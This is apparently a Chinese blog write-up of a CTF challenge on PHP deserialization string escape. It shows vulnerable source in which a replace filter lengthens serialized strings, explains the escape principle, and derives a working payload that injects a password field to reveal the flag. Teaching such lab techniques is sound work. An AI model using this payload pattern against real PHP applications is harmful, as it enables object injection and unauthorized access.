反序列化字符逃逸 正常序列化
<h3>easyunserialize<h3/>
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
原理:利用字符串过滤使的原来序列化的读取的s长度发生了改变(多出一个字符就能逃逸一个字符)
对于反序列化的语法来说,第一个右括号之后的字符都是作废的
PHP 在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(数组、对象等类型);反序列化时,结尾后的字符串会被忽略掉,当出现字符串替换函数得时候,就可以存在反序列化逃逸漏洞
当替换后字符变多:由于膨胀,导致后面的字符被挤掉,所以执行我们传入的代码
当替换后字符变少:由于缩水,导致前面的字符被吃掉了,所以执行了我们后面构造的代码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct()
{
$this->uname='admin';
$this->password=1;
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$ser=serialize(new a());
echo $ser;
//运行结果
// O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";i:1;}
得到源码先序列化一下原来的字符串,将它拷贝出来以便后续进行修改
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}
我们要把password改为easy,改造成如下
O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}
计算得到需要逃逸29个字符,但是过滤函数是一次逃逸4个字符,得不到4的倍数,所以我们在后面补充几个字符使得逃逸的字符数为4的倍数
需要添加的字符串 长度29";s:8:"password";s:4:"easy";}
替换后会由9变成13 长度变长4 列方程9m + 29 = 13m
除不尽 尝试增加需要添加的字符串的长度";s:8:"password";s:4:"easy";}aaa
此时 m= 8 即增加8个challenge
?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.